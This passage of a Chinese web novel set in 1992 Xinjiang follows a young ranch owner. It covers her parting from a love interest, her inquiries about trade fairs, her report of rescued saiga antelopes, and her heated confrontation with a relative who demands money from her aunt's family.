她也不记得两人是怎么抱在一起的了，不过别说没发生什么，就算真发生了什么也只能让这事儿就这样过去。 两人完全是两个世界的人,不管对方是富家子弟的身份还是之前没退伍的时候,两人的生活都没有任何交集。如果不是因为莱尼这个意外,两人这辈子应该都不可能认识。 姚新泉自问她对师月江确实是有好感的,毕竟她喜欢的人差不多就是师月江这样的。 外表干干净净、高高大大,人老实一些,不要油嘴滑舌。 她是大学生，那希望对方跟自己条件差不多，不是瞧不上学历不如自己的，只是有时候就跟家庭条件要门当户对一样,学历或者受教育情况也差不多的两人才能聊到一起去啊！ 一个大学生跟一个文盲也许确实能过到一起去,但是绝大多数人都是有精神追求的,物质生活上满足了，也希望精神世界能有共鸣。 无论在生活中还是未来有了孩子之后，如果两人文化差异过大肯定是有许多矛盾的,姚新泉不认为自己会为了所谓的爱情在这种事情上让步。 另外,她希望另一半也能负担起家里的家务事，大家都在赚钱,凭什么女性在赚钱的同时还要顾全家里呢？ 另外人品性格各方面她都是有自己的想法的,当初其实也遇到了一个还不错的男生,但是因为要离开上海了,姚新泉也就没再想那些，反正两人都没开始过。 师月江确实各方面都符合她的要求，可是那又怎样呢？ 最重要的一点，他不会为了自己留下来的。 而姚新泉也是绝对不会为了对方放弃自己的事业的,因为这两人就不可能有以后。 那天听师月江说要给她买抽油烟机，像是要把这段时间的相处买断一样，她确实很不舒服，可是转念一想也挺好的，反正自己也只是对他有一点好感而已。 再说了，这好感到底是真的因为他这个人而产生，还是说因为在这茫茫大雪中只有他是除自己之外唯一的人，自己没有对比，没有别的选择，每天睁开眼后，闭上眼前看到的都是他，所以才会产生的朦胧好感呢？ 不过这都不重要了，因为他不可能留下来，所以姚新泉也不可能跟他发生些什么，那么今天早晨的事情就也没必要深究下去了。 两人很有默契地没有聊那天的事情，春节过了之后时间转瞬即逝，当雪渐渐有了要融化的意思，姚新泉便主动问他，“虽然可能还比较麻烦，但是我觉得也能下山了，你想下去吗？” 师月江眼神中满是复杂地看了她一眼，可是想到自己确实需要一个独立的空间去想清楚自己到底想要什么，自己对眼前的女孩儿到底是什么情感后还是点了点头。 “好，那我今天收拾东西下山，莱尼的话可能还得在你这边放上一段时间了，等回头我再来接她。” 姚新泉自然没有不愿意的，她还挺喜欢莱尼的，毕竟莱尼是家里最乖的小孩，比两只小高鼻羚羊还要乖。 那俩小家伙里面受伤的那只暂且不提，没受伤的那只简直就是一颗跳跳糖！ 姚新泉两人步行下山，等好不容易走到他的车那边时，小心给车门跟把手那边化了冻后，车还打不着，没办法师月江只能暂且继续把车放在这里，回头让人把车拉去修。 两人一路走到县里，师月江一再庆幸自己这个冬天被姚新泉投喂了许多，否则肯定是在半路上就得趴窝了！ “你看你是去哪？去车站还是？”他们县里没有火车，得坐车去市里坐火车。 见她似乎这么迫不及待地送走自己了，师月江心里又酸酸的。 他没忍住上前一步，“新泉，我确实得回去，但我只是回去想想明白我要什么，我要做什么以及一些别的事情，等我想明白了我就回来”，本想说你能等我吗，我到底张不开嘴。 姚新泉略带诧异地看了他一眼，是她理解错了吗？ 的确，有那么一个瞬间，她也曾以为两人是两情相悦，可后来又觉得不像，可如果不是，他有什么必要跟自己说这些呢？ 姚新泉没忍住还是问了出来，“你上次说要给我买抽油烟机，不就是说想跟我划分清清楚楚吗？” “不是的，你误会了”，他表情焦急想去牵姚新泉的手，可又觉得冒犯，一时间很是无措。 “新泉，我虚长你几岁，可你也看得出来，我不是一个特别会交际也不太会说话的人，甚至我性格也有点闷。那天你是生气了是吗？我没有那个意思，我是感激你，你不仅救了莱尼，还救了我，又收留了我，我没办法不感激。可是别的”，他眼中满是复杂的情绪，“可是别的感情，和感激并不矛盾不是吗？我不是在逃避，我只是想要想清楚，我是男人，我可以轻飘飘地给出承诺给出答案，可这不仅对我自己不负责，对你一样也不负责。所以我希望你能给我一点时间，让我想明白好吗？等我想明白了我一定回来找你！” 他 眼中的情绪毫不掩饰，有那么一瞬间姚新泉就想松口说好了，但话到了嘴边还是停了下来，“你先弄清楚自己真实的心意吧！”说完转了话题，“车站往前直走两公里左右，见到政府办公大楼后再往北走一公里差不多就到了，很明显，要是认不出你再问问路吧！” 师月江按下心中的不安，他点了点头，“那我走了，你照顾好自己，等我回来！” 姚新泉只是笑道，“一路顺风。” 等师月江回头的时候就看到姚新泉头也不回地大步离开，他轻叹了口气，下定决心要好好想，要赶紧想明白！ 他是不懂这些，那他去找大哥，大哥肯定明白！ 师星野…… 姚新泉心情还不错，就算两人没走到一起，可知道自己有好感的人也是喜欢自己的还是让人忍不住有点小得意。 她欢快地背着包，把自己提前准备好的一些手续带好就去了县工商局，今天是工作日，不过里面不算繁忙。 姚新泉找了个看着人和善的工作人员问道，“同志你好，我想请问一下，私营牧场想参加霍尔果斯口岸的交流会需要办什么手续？” 工作人员愣了一下上下打量她，“你要参加口岸的边民互市？” 姚新泉觉得不太对，可还是点头，“我家里有个牧场，也有一些牲畜，不过今年更多的是想去涨涨见识，要以我们牧场的名义去的话，就想来问问需要办什么手续。” 没等这个工作人员说话，旁边一位年轻的男同志便忍不住笑了起来，“同志，都说了是边民互市，那就是对身份是有要求的，我记得是要求参加者必须是边境地区的边民，好像是陆路边境20公里以内的边境居民，得通过有效身份证件参加，你如果是本地的那肯定是不满足参加条件的。” 姚新泉皱眉，是这样吗？她还以为都可以参加呢！ 那名女同志反正也闲着没事就跟她科普，原来这个霍尔果斯口岸在八三年的时候□□就批准正式恢复开放了，只是那时候还是仅针对边境国家的，也是有参与条件，而且对交易物品也有限制，比方说是中低档的商品，并且金额和数量也都有限制。 姚新泉听罢叹了口气，行吧，那霍尔果斯口岸的交易会就别指望了，她本来还想着这种不知道需要什么手续，所以早点来办，别到时候因为手续耽误了，结果可好，压根就没满足参加条件。 她道了谢刚准备走就听到身后有人叫她，“小姚？” 姚新泉转头看去就发现原来是林业局的高勇局长，忙笑着过去打招呼，“局长没想到在这里碰到您，我还打算过会儿去找您呢！” 高勇也奇怪怎么在这见到她，“小姚来这边有事啊？” 姚新泉说明自己的来意后，高勇沉吟了一会儿，“这样，你先跟我过来，我带你去找工商局的领导。” 不等她拒绝高勇就往前走了，姚新泉只好跟着。 等到了工商局局长谢智的办公室他又说了姚新泉的情况，“我记得年底开会的时候不是说了今年乌鲁木齐那边还会开个什么贸易会吗？你看那个通知什么时候下？小姚这边能参加吗？” 谢智白了他一眼，又看了看姚新泉，也不知道这小姑娘跟他是什么关系。 “上面决定在乌鲁木齐那边开个洽谈会，咱们都叫它乌洽会，目前时间已经定下来了，大概在9月2号到10号。你的牧场如果想要参加的话，首先得有合法的营业执照，还得去外经贸委那边办下来进出口的经营权，你如果想要参加的话，还得提前准备好你的企业简介，也就是你牧场的简介以及产品目录，最起码得是中英文的。还有个报名表，回头我让人准备两份，你到时候去陈姐那儿领就成”，他又加了一句，“陈姐就是你今天搭话的那位女同志。” 姚新泉又惊又喜，赶忙道谢。 不成想谢局长又来了一句，“你如果也想参加霍尔果斯口岸的互市也可以准备一下材料，上面已经决定了，今年8月10号霍尔果斯口岸开始向第三国开放，估计人也不少。不过我觉得你可能没搞明白霍尔果斯口岸的情况”，谢局长轻笑一声，“像你开牧场做这种牲畜、肉类的生意，肯定不是我今天杀了一头羊，分割好去卖的，一般都是大宗交易，这种情况更适合去乌洽会，那里算是一个展示的平台，通过展示、讨论、洽谈等形式推动贸易发展。” “而口岸那边其实更多的作用是作为一个交通枢纽来的，至少目前经贸交流的力度不大，所谓的边民互市规模小，而且普通游客可能也没办法自由购买大量商品。你如果只是去凑热闹的话还好，如果想在那边开拓海外市场，那很难。” 40-50 第41章 姚新泉尴尬得笑了,“我这就是信息掌握得不够全面了，我只是听说那边有互市，没想到和我想得还不太一样。” 谢局长本来以为这个小姑娘会恼羞成怒的,但她这种坦然的态度反而让谢局长眼里多了两分欣赏。 “我觉得到时候你也可以去口岸看一看,你如果确实想做外卖,去那种地方多了解了解也可以,至于乌洽会的话,虽然私营企业也可以参加,但是讲实话，你一个私人牧场对上人家国营大牧场，完全没有任何竞争力，不一定能申请上展位。不过那天会上我们讨论过,像我们这种小地方与其让一家或者几家企业去申请展台,倒不如以县为单位,咱们县里的一些龙头企业一起去申请，这样反而申请下来的可能性比较大。” 姚新泉眼睛一亮，可以啊！ 别说她今年本来也没打算做成什么生意,只是想凑凑热闹,等她的计划实现了一些之后再慢慢来，那时候乌洽会才会真的成为她牧场洽谈业务的平台。 就算她今年真的想谈成单子,这前提不都是先申请上展台吗？谢局长这话非常实在,乌洽会只是在乌市举办,并不是说只有新省或者乌市那边的企业能参加,全国各地的只要有意向，并且符合条件的单位或者企业都可以来申请展台，这是面向全国的一个活动。 她的小牧场在里面算啥？ 算弟弟。 所以只要能蹭上车，今年能蹭,明年也能蹭！ 想到这里姚新泉赶紧点头，“我觉得谢局您说的特别好，咱们县的各家企业拧成一股绳才有一争之力，再有什么说法也得先能站到那里去啊！” 谢局笑着点头，“成，具体事情我再跟咱们县外经贸委的人谈一谈，等定好了我通知你，你给我留个联系方式吧！” 姚新泉赶忙把自己家的电话留下，又不停地道谢，“去年年前我家牧场出了一批羯羊，那时候还不知道谢局您这么没有架子，我也不敢贸然登门，等家里下一批羊出栏的时候我给您送点儿自家养的羊肉来！” 谢局赶忙摇头，“别别，我认识你爸，也认识你小叔，所以能给你行的方便我会帮你，你要给我送东西那就变了味道了，让人知道了还以为里面有什么呢！” 姚新泉听他认识自己家里人那更坦然了，她往椅子上一坐便道，“我一个晚辈，家里养了羊，给长辈家里送块儿肉谁还能说什么？而且我送的也不多，也就尝尝味道，总不能说我拿三五公斤羊肉贿赂领导吧？” 高勇忍不住哈哈大笑，“行了行了，这小丫头去年也给我送了，有一说一她家那羊肉是真好吃，比咱们在外面买的好吃多了！你要是有顾虑，你给人孩子送点儿回礼不就成了？”他当时就把老家送来的核桃给了姚新泉一袋子，谁都没办法说什么。 谢局忍不住指了指他，随即又笑了，“行，那叔就等着你冬天的羊肉了！” “对了你刚说找我有事儿是吧？”高勇抿了一口白开水后才想起来这事儿，赶忙问道。 “对啊，冬天就雪最大的那几天，我捡到了两只高鼻羚羊，一只受伤了我已经治好了，另一 只好着呢，刚好还是一公一母！” 咳咳！高勇被呛了一下，水不受控制得从鼻腔里流了出来，他也顾不得别的，掏出一块儿手绢就擦了起来，边擦还满脸焦急地问，“你说啥？你救了啥？啥羚羊？” 老天爷啊！他耳朵坏了吧！ “高鼻羚羊。” 听到姚新泉坚定的声音高勇忍不住深深吐出两口气，“闺女，你没骗叔吧？” 姚新泉摇头，“路不太好走，不过也能勉强回去了，你要是想，你现在可以跟我回去看看！” “不用不用！”高勇满脸都写着兴奋，他没忍住用力拍了下桌子，“他娘的，上次鹅喉羚的事情上面骂了我半天，这次如今咱们可是发现北疆境内从没被发现过的高鼻羚羊了啊！”这下谁还能说他工作不利？他要是工作不利，要是环境被破坏严重，这种从没出现过的动物为什么会出现？ “这样，先不急着带来，叔相信你的能力，你先帮着再养两天。我回去联系去找有相关饲养经验的人还有这方面的专家来，到时候我们一起去找你！” 姚新泉这下是真的有些惊讶了，想一想，万一自己弄错了，然后高勇兴师动众搞了一堆人上来后发现货不对板，这可不止是丢人的问题啊！ “老高”，谢局有些迟疑，这到底事关前途啊！ 姚新泉顿了顿，“这样，高叔，我跟你形容一下我家里那两只的特点”，瞪她将两只的外貌特点尤其是那个大鼻子讲了之后，高勇一怕大腿，“瞧瞧瞧瞧，这不就是高鼻羚羊吗？你让我去看我也这样说啊！小姚啊你先回去，等我这边安排好了我联系你！” 主要现在雪也没化，她那边不管进出都费劲儿。 本地人倒还好，人家专家学者过来了之后让人家淌着雪往里走也不是太好看。 他琢磨着要么等雪化了，要么实在不行，跟市政或者镇里那边联系看看能不能安排人扫雪呢？ 高勇此时已经没心思跟他们聊别的了，谢局也没多留两人，姚新泉与两人告辞后便打算去亲戚家转转。 县高中离这边近，今天又是工作日，所以姚新泉打算先去高中看看小叔。 在姚晓刚办公室等了半个小时后他终于下课了，见到姚新泉后姚晓刚高兴得不得了。 他拍了拍大侄女儿的肩膀，“好丫头，我怎么看着还胖了点儿？我还想说你冬天在山里受苦了呢！” 认识姚新泉的老师在一边听着也乐了，“可不是吗，我隔三差五就听你小叔念叨，说你一个小姑娘这大雪封山日子还不知道过得多惨呢！” 姚新泉哈哈笑了起来，她掰着手指头数，“你看看我在家里吃什么啊！牛肉、羊肉、猪肉、兔子肉、鱼肉、马肠子，这是肉，过年的时候我还专门炸了各种东西，麻叶子、糖糕、小酥肉”，她还想再说，那老师赶忙制止她，“可别说了，这还没到饭点儿呢，我要是上着课，肚子叫起来让孩子听了多不好！” 几人又笑了起来，姚晓刚见她这样也才放心了。因为他后面有课，所以两人聊了一会儿后姚晓刚送姚新泉出去，路上她总觉得姚晓刚似乎欲言又止的样子。 “小叔，怎么了？家里有什么事情吗？咱都是一家人，没什么不好说的。” 姚晓刚表情复杂，“我本来想着你还是个孩子，这事儿不好跟你说，但是你毕竟是你爸那边唯一的血脉，家里这么大的事情不跟你说也不合适。” 姚新泉皱眉，“小叔，你别兜圈子了，你有话直说。” “你小姑跟小姑父在闹离婚，一整个过年都期间都没安生，估计是真要离。” 他们这里到底只是个偏远的小县城，哪怕如今已经九二年了，但是县里正儿八经离婚的两只手都能数的过来，姚晓刚怎么能不为妹妹担心。 姚新泉的脸色一下就沉了下来，“是小姑想离还是小姑父？错在谁？” “是你小姑父他妈。” 姚新泉像是没听清一样反问，“你说谁？” “邓建发他妈！”姚晓刚提起这事儿就一肚子火，不免咬牙切齿。 “我记得邓建发是他们家老二，他妈不是跟着老大去市里了吗？怎么还跑回来闹着要二儿子离婚？” 虽然姚晓洁跟邓建发结婚的时候姚新泉年纪还小，但是她也记得，最开始父母是不同意这门亲事的。 不是为了别的，就是因为他家里那个不讲道理的妈。 而且他家的家庭情况也比较复杂，邓建发的爷爷有两个儿子，大儿子就是邓建发的爸。 小儿子不知道什么原因一生未婚，自然也就没有后代，所以他爷爷早年很是担心这个小儿子将来老了没人照顾。 后来在家庭里面商量了许久，决定将邓建发过继给他二叔。 邓建发的妈想着小叔子家里条件好，又没媳妇儿孩子，那将来的东西不就全都是给邓建发了？到时候邓建发的不就是自己的？ 所以哪怕邓建发的亲爸不同意，她还是做主同意了过继，邓建发在户口上确实是他二叔的儿子。 本来他亲妈想着小叔子看着就是个短命相，估计过不了两年就死了，谁知道人家现在还活着呢！ 而且他也还算挺疼这个名为儿子实际上是侄子的孩子的，他家那个超市就是邓建发的养父给钱建的。 如果邓建发的亲妈是个懂事的那也就罢了，但问题是那个老太太就是个不讲理的，她贪图小叔子的富贵把儿子送了出去，送出去之后又总觉得小叔子抢她的孩子，对小叔子以及邓建发都充满了怨恨。 邓建发的养父，也就是邓永江也觉得愧对嫂子，所以对她多加忍让。 这样一来，反倒是纵得她在两家里都耀武扬威的，这种家庭，哪怕邓建发人再好，姚新泉父母也不放心妹妹嫁啊！ 但怎么办呢？人家两个是自由恋爱，爱的要死要活的时候你跟她说这家人不好，人根本听不进去，姚新泉爸妈拗不过，只能把妹妹嫁了。 “那老婆子又作什么妖呢？姑姑是什么意见？姑父呢？” 第42章 姚晓刚苦笑,“邓建德是体制内的，前两年调到市里去了，他本身能力不差的。但是现在社会上最赚钱的从来不是体制内的,就像你们家,你爸妈当初看着好像没他们光鲜亮丽,但是收入那完全没法儿比！” 早年没改开以及刚改开的时候大家收入都差不多,也看不出什么区别来,但现在就有了啊！ “那老太太之前觉得大儿子一家出息了,觉得小儿子就算开了店又怎么样？个体户多丢人啊！” “不知道怎么回事，今年过年的时候她知道你小姑跟姑父今年一年的净收入最起码有小两万，所以她立马就眼红了。” “因为你小姑的两个孩子一直被留在她身边照顾，所以这次她就以孩子的名义要求你小姑过年的时候给她1万块,当作两个孩子未来一年的生活费”,姚晓刚苦笑,“但你也知道，就算这钱给了，将来孩子的所有开支还是你小姑他们出。别说你小姑不愿意,我这个脾气我都不愿意,这不就闹起来了？” 这事儿是那个老太太没理，姚新泉皱眉,“小姑父就看着他妈闹？” “你小姑父那个人性子比较温和”,姚晓刚说得很是委婉,可姚新泉也知道,说白了就是窝囊。 在面对老婆的时候他是温和的，可姚晓洁还算是个讲理的，并不会因为他好欺负就欺负他。 可他妈不是啊！ “我 小姑父的养父呢？他就没意见？”自己出钱给养子开店，结果赚了钱都被大嫂拿走,这能愿意？ “听说没什么意见，可能觉得把人家儿子抢走了觉得亏欠吧？” 姚新泉都气笑了，“合着出钱的加干活的三个人里面就小姑一个人有意见，所以就变成了小姑和那个老太婆的矛盾？” 姚晓刚无奈得看着她，不然呢？ “我也没想你去干什么，就跟你知会一声，大人的事情还是让他们自己去解决”，姚晓刚怕姚新泉给自己揽事儿忙叮嘱道。 “表弟呢，什么态度？” “听说荣荣想跟他爸”，就算老太太偏心，可到底是她带大的，而且这么多年潜移默化洗脑下来，还不定觉得是爸妈不要自己了呢！ 所以说啊，当初就不该把孩子留在那边！ 可是转念一想，当初还不是想着市里教学质量比县里好，再加上老太太要求，两边又不太远所以姚晓洁才同意的，谁能想到现在成了这样啊！ “行，我知道了，小叔你回去上课吧！”说完她转身便走，姚晓刚看着风风火火的大侄女儿也满心都是感叹，孩子大了都能自己撑起一片天了啊！时间过得可真快！ 姚新泉没急着去姚晓洁那边，她先去了小姨家车店，跟张运秋打了声招呼又去了幼儿园跟苏永华见了一面，这才去了姚晓洁家的超市。 她来得倒也巧，里面正闹着呢！ 吴梅花叉着腰指着姚晓洁的鼻子骂，“你个不孝顺的东西，我问你要钱是花在我自己身上吗？我这么一大把年纪了，我还给你带孩子，我图什么？不就是想着帮帮你们年轻人吗？现在倒好，我不过是让你们拿点钱出来，这钱将来还是用在孩子身上的，你这都不舍得！你是孩子亲妈吗？人家后妈都没你毒，你这是毁孩子前程啊！姚晓洁你这个毒妇，我们老郑家倒了八辈子血霉才找了你！” 不等姚晓洁说话，一边的邓志荣也满脸不忿地瞪着她，“你怎么这么坏！你不给奶奶钱是不是不想我上学了？你自己吃香的喝辣的，不想管我是不是？你这个坏女人！” “啊！”邓志荣的话音刚落便感觉到身后领子处被人揪了起来，随后整个人都被举了起来，他吓得惨叫出声，“你放我下来！你放我下来！”一边喊还一边乱踢腿。 吴梅花刚想张嘴，可姚新泉一瞪眼不知为什么她突然就闭了嘴，什么都不敢说了。 姚晓洁见到她眼眶瞬间便红了，“新泉，你怎么来了？” “小姑你先别说话”，姚新泉恨铁不成钢，她把邓志荣从背后放到地上，不等他说话，又从前方揪住他的领子把人举了起来，“荣荣，怎么都不知道叫表姐了？” 邓志荣想踢她，姚新泉冷笑一声，“你要是踢到我，我手一松你可就摔了，那就怪不着我了！” 邓志荣不敢再踢，可嘴里还不免骂骂咧咧的，姚新泉把他举得高高的又做出要把他扔下来的模样吓唬他，邓志荣脸都白了，不停地叫着她姐姐，姚新泉又冷笑一声，“我可当不起你这声姐！”说完把他随手往屋子里一推便不理这种小蠢蛋了，反而看向吴梅花，“这位老太太，孩子放你身边你就这样教的？教孩子骂自己亲妈？你还是个人吗？” 吴梅花先是一愣，随即便又指着姚晓洁准备骂了起来，“好啊你，你看看你们家的丧门星！有这样跟长辈说话的吗？你这种人家当初也不知道是怎么勾得我儿子，臭不要脸嫁到我们家来！不孝敬老人，不照顾孩子，现在连你们家晚辈都敢欺负上门了，这日子没法儿过了啊！” 姚晓洁一巴掌打掉她指着自己的手，“不能过了就去死！”她早都受够了这种日子了，“是我要你帮我带孩子的吗？不是你死皮赖脸非要养？还用孩子每个月从我们这边要走几百块？你个老不死的可真会为你大儿子打算啊！他家钱不够花就从我家弄！你不是打这个超市的主意吗？我告诉你老不死的，这超市是我跟邓建发两人开的，当初借的他爸的钱也都已经还上了，那这店现在就是我们两的，我就算卖了也不可能给你！做你的春秋大梦去吧？” 刚说完就见到邓建发从外面进来，她冷笑一声，“姓邓的，我早就跟你说了咱们离婚，店我不要，你给我一笔钱就行，可你不同意离。本来我想着我吃亏也成，可你那不要脸的亲妈上门来闹，她不是想着把店要走，她来看店然后给她大儿子赚钱吗？我不好欺负，所以干脆把我赶走！你是个软蛋，没了我顶在前面，你还不是任他们揉搓？现在我明确地告诉你，这婚还是得离，这店我也不会留给你，我现在就去找人把店顶了，剩下的钱再来分割！” 见她要往外走邓建发满脸苦涩地拦她，“晓洁你冷静一点，我从来没有要跟你分开，我也没有做对不起你的事情，咱们这么多年的感情你怎么能说不要就不要了呢？” 吴梅花更是面目狰狞地想冲过来动手，“你个贱人，这店是我家的跟你有什么关系？你个不要脸的东西！烂货，你滚就滚，你要是敢碰我家店，你看我不弄死你！” “你弄死谁？”姚新泉听烦了，一脚踹翻了吴梅花面前的折叠凳。 铁的凳子砸倒在地上咣当一声吓了众人一跳，吴梅花一时间也不敢做什么了。 “小姑父，我之前一直在山上，倒不知道我小姑嫁给你还要受你家伯母的气。这都不是正经婆婆哪来的脸在你们面前作威作福啊？”邓建发欲言又止，姚晓洁嗤笑一声。 “我记得你是六七岁就被过继过去了吧？你是被你养父养大的，你养父的为人我也听我爸妈讲过，当初肯定是给了不少东西去买断了你们之间所谓的生恩，你对你伯母哪来的什么赡养义务？什么脏的臭的倒是都到你家来折腾了？你要是这样你早说啊，当初我爸妈就算是拼着让我小姑恨他们那也不会同意你们的婚事的！怎么着，我们家好好养大的姑娘到你家来不仅要跟你过苦日子，还得伺候头上不知道从哪里跑出来的长辈是吗？别说在新省了，你就算放眼全国那也没哪个地方的伯母不要脸不要皮来管侄子的家事吧？” “你个死丫头，他是我生的！我凭什么不能管？当初我九死一生才生下他，他的命是我给的，他就得听我的！”吴梅花歇斯底里的大吼着。 姚新泉冷笑一声，“你给的命？那要不行你收回去？” “还你管？我倒要看看，你这个伯母敢不敢当着邓永江的面让邓建发叫你一声妈！” “你别以为我年纪小不懂事，你大儿子的工作怎么来的？那是你卖邓建发卖来的！谁家不是货物售出概不负责啊！你倒是会做生意，这卖了一遍再卖一遍！这福还真是活该你享啊！” 骂够了之后姚新泉又把矛头指向邓建发，最可恨的邓建发。 “小姑父，我现在还叫你一声小姑父，我再好好问你一遍，这日子你是过还是不过了？” “新泉，我过啊！我就想一辈子跟你小姑过下去啊！”邓建发委屈巴巴地抹眼泪，“没了你小姑我可怎么活啊！” 姚新泉不合时宜地抖了一下，一把年纪的人了，怎么还走这个路子！她小姑这审美也真的是别具一格啊！ 别以为她没看见，当邓建发进来的时候她小姑那眼神立马就变得不一样了，又爱又恨满是幽怨，一看那离婚的话就不是发自内心的。 “过？你拿什么过？是让你家伯母上门欺负你老婆，然后让你老婆忍气吞声？还是让你儿子上门骂他亲妈然后你冷眼旁观？再或者是你哥那个窝囊废养不起他妈，然后让他妈朝你这个侄子伸手要钱，你让你媳妇儿顶到前头去？” 邓建发的脸都红了，他想说不是可姚新泉根本不理会他只是继续道，“小姑父你搞搞明白行不行 ，在这间屋子里，在这些人中，你的身份是丈夫、是父亲、是姑父、是侄子，唯独不是儿子！你可没妈！你要想给自己找个妈你自己供着去，我姑不是去你家伺候太后老佛爷的！她妈在地里埋着呢，她可没兴趣给自己找妈！” 邓建发只觉得这话实在有点难听，可又不敢反驳，甚至觉得说的挺对的，他也不想给自己找妈啊！可是他这个伯母每次拿养育之恩出来说话，闹得他一次次退步，如今更是没了说话的底气了！ “你知道这位老太太她儿子的单位吧？” “你干什么？邓建发你个小畜生你不许说！”吴梅花觉得不对了，赶忙上手就想拦他，姚新泉就看着也不阻止，反倒是姚晓洁有些担忧地看向邓建发。 邓建发一边躲老太太，一边道，“我堂哥现在在卫健委上班”，生怕姚新泉不满意，他又接着道，“我堂嫂没工作，他们只有一个儿子，今年大专刚进医院实习。” “我都好奇了，卫健委现在待遇这么差了吗，竟然养不起自己的亲妈，还鼓动亲妈来找堂弟骗钱？回头我可得跟他们单位反应反应员工待遇问题，单位要是不重视的话咱们再登报，花钱登报！标题我都想好了，一篇咱们走朴实风，就写，卫健委待遇竟如此？正式工养不起老娘。咱们还能换个风格，是人性的泯灭还是道德的沦丧，改开后政府部门竟沦落到打秋风！这俩怎么样？” 她又装模作样叹了口气，“我学的是管理，不是新闻专业的，标题起的不好，我回头找一下我的同学们，问一问这种情况起什么标题比较醒目！” 第43章 “噗嗤！”姚新泉这才注意到原来超市里还有别的顾客,她也没不好意思，反而大大方方朝人家笑了笑，“挑好了是吗,挑好了的话找老板结账就成。” 邓建发刚上前一步,姚新泉脸上带着笑,眼睛里却没有一点笑意,“小姑,你听到了吗,是找老板结账，不是找老板的丈夫，小姑父你先歇着吧，咱们再跟你伯母聊一聊如果政府不给你堂哥解决养家的问题,那咱们不行再去跟你侄子单位或者学校反应一下,这么大的孩子了,也不能只知道读书对吧？家里都这么难了，我看那书也别读了，先想办法出来养奶奶吧！” “你堂哥还差几年退休啊？他妈还活着呢,现在都养不活了,等退休了难道让他妈去死？这样的破班上着有什么意思啊？别上了，赶紧辞职出来吧！我看你伯母不是对你家店挺感兴趣的吗？实在不行让你堂哥来,我小姑也不是那不懂事的人,亲戚都可怜成这样了,她也能给对方赏口饭吃的！” “而且这好歹是正儿八经靠劳动获取报酬,听上去也好听点，不像现在，伸着手就要，要饭啊！你端的破碗呢？叫花子上门要到了钱还得说两声谢谢吧？小姑父你这亲戚不太懂事啊！” 不管是刚进门的还是已经挑好东西的顾客没一个挪动脚步的,就站在原地两眼放光听着姚新泉骂人，不少人还捂着嘴笑个不停。 姚晓洁轻轻背过身去，让自己不要笑得这么明显，邓志荣缩在凳子上不敢吭声，太可怕了，太可怕了！他再也不要跟这个姐姐做对了！ 而邓建发则是满脸羡慕地看着姚新泉，这嘴能借他用用吗？租也行啊！唉！ 吴梅花都快撅过去了，指着她的手都在颤抖，“你，你个贱蹄子！” “不好意思，我是人，我只有脚。老太太你是上面两只长成了蹄子还是下面两只长成了蹄子，掏出来给我长长见识？” 吴梅花一肚子的脏话此时憋着愣是不知道该骂些什么，像是要倒了一般。 姚新泉又冷笑，“小姑父啊”，邓建发大声地哎了一声，差点打断姚新泉的思路，她没好气地白了他一眼。 “你知道你堂哥单位的电话吗？他们卫健委的就算没干过医生，应该对自己家人的身体健康也比普通人要多关注几分吧？这谁也没说她，谁也没碰她，这老太太怎么就抖成这样？你快打电话问问，他是不是能力不行，连自己家人的身体问题都注意不到啊？他儿子还是预备医生呢，这可真吓人，哪个医院的啊？说出来让我们留个心，以后好避开那家医院啊？” 吴梅花啊得尖叫出声，这下也不抖了，冲上来就想挠她，姚晓洁跟邓建发赶紧上来拦。 就见姚新泉冷笑一声，满脸都写着不屑，她一把握住老太太伸过来的手，轻轻一用力便别到身后固定住，跟抓犯人一样将她制服。 “你说说，人菜瘾还大，你那动作都慢放了还想来打人啊？” “行了，我也不追究你打我的过错了，小姑父，给你堂哥打电话，让你堂哥来接人！” “不许打！不许打！”姚新泉本便没有用力，吴梅花一下就挣脱了，扑到电话上就不让他动，“我不要了，我不要你们的钱了行了吧？” 不等姚晓洁两人高兴，姚新泉便道，“呦，老太太你以为是让步啊？这不是应该的吗？” “小姑小姑父，我问问你们，如果这老太太以后不掺和你们的生活了，你们还离吗？” 邓建发跟大了鸡血一样突然大喊，“不离，我永远不会离开晓洁的！”旁边的人都笑了起来，姚新泉悄悄翻了个白眼，什么审美啊！ 姚晓洁在一边又是委屈又是感动的模样看得姚新泉头疼，死恋爱脑！ “孩子接回县里，成吗？”又不是没时间照顾，孩子养在别人家，跟爸妈都不亲，跟个傻子一样！老姚家就没出过这样的孩子！ 邓志荣不想回，可他不敢说话。 姚晓洁夫妻俩用力点头，吴梅花想说话，姚新泉一个眼刀过去她便闭了嘴。 “小姑，你去找个本子来，再找只笔，让小姑父的伯母写点儿东西”，姚晓洁飞快地翻出一本作业本递过去，吴梅花不愿意接，姚新泉便道，“小姑父，打电话。” “我写，我写还不行吗？” “行，就写保证书，我吴梅花，因为受儿子邓建德的挑唆，来找没有抚养过并且从小就被过继出去的儿子以要为其养育子女为由要钱，每年八千到一万元。现在我已经认识到我的错误了，我也认识到了我儿子思想上的错误。在此我向邓建发及姚晓洁夫妻俩保证，未来不会再借所谓生恩为由要求邓建发向我支付赡养费等各项费用。我对邓建发的生养之恩在邓建发被过继时已由其养父邓永江折价进行了补偿，双方再无任何恩情。未来我的生养死葬均与邓建发及其妻、子无关，我保证绝不再干预邓建发的正常生活。证明人，写你名字就好。” 吴梅花的手都在抖，看着姚新泉的目光也满是恨意，姚新泉不在乎地耸了耸肩，“怎么，不想写了？那行，小姑父打电话吧！医院的电话有吗？没有的话过会儿给邓建德打的时候顺便问一下怎么联系他儿子的领导。” “我写！”吴梅花用力握着笔，像是要将那笔握断一样，她倒是识字，也不需要人给她提示就写完了。 写完后她恨恨地递给姚新泉，姚新泉见状满意一笑，“很有文采，不错”，众人忍不住又笑了。 “行了，那这位没有什么关系的老太太可以回了吧？不用我们联系你儿子来接你吧？” 吴梅花这次是赔了夫人又折兵，此时恨不得将姚新泉吞吃入腹，可却又拿她没有办法。 “小姑，表弟的户口是在这里还是市里？” “在这里在这里，本身也没办法牵走，但他们非要让孩子跟着，我们只能交高额赞助费，孩子才能入学。” “行了，那既然如此，小姑和小姑父你们两个跟着这位没什么关系的老太太一道儿去一趟市里吧，把孩子的转学手续办好，把孩子的东西都带回 来就成”，她朝吴梅花晃了晃手中的纸，“老太太，这东西我收着，你若是老老实实的，我小姑日子好过，也没谁会找你不痛快。你若是折腾，你还不知道吧，你写的这东西我可以直接送到报社去复印刊登的！我小姑他们有钱付得起刊登的费用。你若不想安稳过日子，若是想把你儿子跟孙子都害了，那咱们就走着瞧，我倒要看看，是我小姑没了丈夫活不下去，还是你儿孙没了前途活不下去，咱们走着瞧！” 